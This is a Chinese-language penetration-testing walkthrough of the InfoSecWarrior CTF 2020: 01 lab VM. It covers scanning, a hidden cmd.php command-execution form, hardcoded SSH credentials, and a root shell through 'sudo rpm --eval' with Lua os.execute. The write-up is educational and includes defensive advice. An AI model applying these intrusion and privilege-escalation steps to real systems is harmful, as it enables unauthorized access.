InfoSecWarrior CTF 2020: 01
字数 1398 2025-08-10 17:51:46

InfoSecWarrior CTF 2020: 01 渗透测试教学文档

1. 环境准备

1.1 靶机部署

1.2 工具准备

  • arp-scan:用于网络扫描
  • nmap:端口扫描和服务探测
  • 目录爆破工具(如dirb、gobuster等)
  • Burp Suite:用于HTTP请求分析和修改

2. 信息收集阶段

2.1 网络发现

  1. 确定攻击机IP地址(示例中为169.254.72.159)
  2. 使用arp-scan扫描同网段设备:
    arp-scan -l
    
    发现靶机IP(示例中为169.254.72.160)

2.2 端口扫描

使用nmap进行深度扫描:

nmap -sV -p- 169.254.72.160

扫描结果:

  • 22/tcp:SSH服务
  • 80/tcp:HTTP服务(Apache)

3. Web渗透阶段

3.1 初步访问

  1. 访问靶机80端口:http://169.254.72.160
  2. 观察到Apache默认页面,无明显信息

3.2 目录爆破

使用目录爆破工具扫描web目录:

gobuster dir -u http://169.254.72.160 -w /path/to/wordlist.txt

发现:

  • /index.html:可访问页面(包含动图)
  • WordPress相关目录(返回500状态码)

3.3 源代码分析

  1. 访问/index.html并查看页面源代码
  2. 发现隐藏的cmd.php文件:
    <form action="cmd.php" method="get" hidden="True">
    
  3. 删除hidden="True"属性后刷新页面,显示命令输入框

3.4 命令执行漏洞利用

  1. 初始尝试GET方式执行命令失败

  2. 修改为POST方式提交:

    <form action="cmd.php" method="post">
    
  3. 成功执行命令(如whoami

  4. 使用Burp Suite捕获请求:

    • 方法:POST
    • 目标:http://169.254.72.160/cmd.php
    • 参数:命令通过表单字段提交
  5. 查看cmd.php源代码:

    curl http://169.254.72.160/cmd.php
    

    发现硬编码凭据:

    Username: isw0
    Password: 123456789blabla
    

4. 系统渗透阶段

4.1 SSH登录

使用发现的凭据通过SSH登录:

ssh isw0@169.254.72.160

密码:123456789blabla

4.2 初始访问后操作

  1. 在家目录发现第一个flag文件
  2. 检查sudo权限:
    sudo -l
    
    结果显示用户可以使用多个命令,包括rpm

5. 权限提升

5.1 利用rpm提权

执行以下命令获取root shell:

sudo rpm --eval '%{lua:os.execute("/bin/sh")}'

5.2 获取最终flag

  1. 检查/home/isw2目录下的flag文件(可能为空)
  2. 检查/root目录:
    cd /root
    ls
    cat flag.txt
    
    获取最终flag

6. 技术要点总结

  1. 信息收集:全面的网络扫描和目录爆破是关键
  2. 源代码审计:隐藏的表单和文件可能包含重要信息
  3. HTTP方法:GET和POST方法的差异可能导致漏洞利用成功与否
  4. 凭据管理:硬编码凭据是常见的安全问题
  5. 权限提升:检查sudo权限并利用可用命令进行提权

7. 防御建议

  1. 避免在源代码中硬编码敏感信息
  2. 限制Web服务器上的命令执行功能
  3. 合理配置sudo权限,避免不必要的命令授权
  4. 定期进行安全审计和渗透测试
  5. 对Web目录进行权限控制,防止源代码泄露

8. 扩展学习

  1. 其他命令执行漏洞利用技术
  2. 更多sudo提权方法(如利用find、vim、python等)
  3. Web目录爆破的高级技术和工具
  4. 隐蔽通道建立技术
  5. 日志清理和痕迹清除方法
InfoSecWarrior CTF 2020: 01 渗透测试教学文档 1. 环境准备 1.1 靶机部署 下载靶机OVA文件: https://download.vulnhub.com/infosecwarrior/Infosec_ Warrior1.ova 使用VirtualBox导入OVA文件搭建靶机环境 攻击机使用Kali Linux(VMware环境) 网络配置:靶机和攻击机通过网桥连接,确保在同一网段 1.2 工具准备 arp-scan:用于网络扫描 nmap:端口扫描和服务探测 目录爆破工具(如dirb、gobuster等) Burp Suite:用于HTTP请求分析和修改 2. 信息收集阶段 2.1 网络发现 确定攻击机IP地址(示例中为169.254.72.159) 使用arp-scan扫描同网段设备: 发现靶机IP(示例中为169.254.72.160) 2.2 端口扫描 使用nmap进行深度扫描: 扫描结果: 22/tcp:SSH服务 80/tcp:HTTP服务(Apache) 3. Web渗透阶段 3.1 初步访问 访问靶机80端口: http://169.254.72.160 观察到Apache默认页面,无明显信息 3.2 目录爆破 使用目录爆破工具扫描web目录: 发现: /index.html :可访问页面(包含动图) WordPress相关目录(返回500状态码) 3.3 源代码分析 访问 /index.html 并查看页面源代码 发现隐藏的 cmd.php 文件: 删除 hidden="True" 属性后刷新页面,显示命令输入框 3.4 命令执行漏洞利用 初始尝试GET方式执行命令失败 修改为POST方式提交: 成功执行命令(如 whoami ) 使用Burp Suite捕获请求: 方法:POST 目标: http://169.254.72.160/cmd.php 参数:命令通过表单字段提交 查看 cmd.php 源代码: 发现硬编码凭据: 4. 系统渗透阶段 4.1 SSH登录 使用发现的凭据通过SSH登录: 密码: 123456789blabla 4.2 初始访问后操作 在家目录发现第一个flag文件 检查sudo权限: 结果显示用户可以使用多个命令,包括 rpm 5. 权限提升 5.1 利用rpm提权 执行以下命令获取root shell: 5.2 获取最终flag 检查 /home/isw2 目录下的flag文件(可能为空) 检查 /root 目录: 获取最终flag 6. 技术要点总结 信息收集 :全面的网络扫描和目录爆破是关键 源代码审计 :隐藏的表单和文件可能包含重要信息 HTTP方法 :GET和POST方法的差异可能导致漏洞利用成功与否 凭据管理 :硬编码凭据是常见的安全问题 权限提升 :检查sudo权限并利用可用命令进行提权 7. 防御建议 避免在源代码中硬编码敏感信息 限制Web服务器上的命令执行功能 合理配置sudo权限,避免不必要的命令授权 定期进行安全审计和渗透测试 对Web目录进行权限控制,防止源代码泄露 8. 扩展学习 其他命令执行漏洞利用技术 更多sudo提权方法(如利用find、vim、python等) Web目录爆破的高级技术和工具 隐蔽通道建立技术 日志清理和痕迹清除方法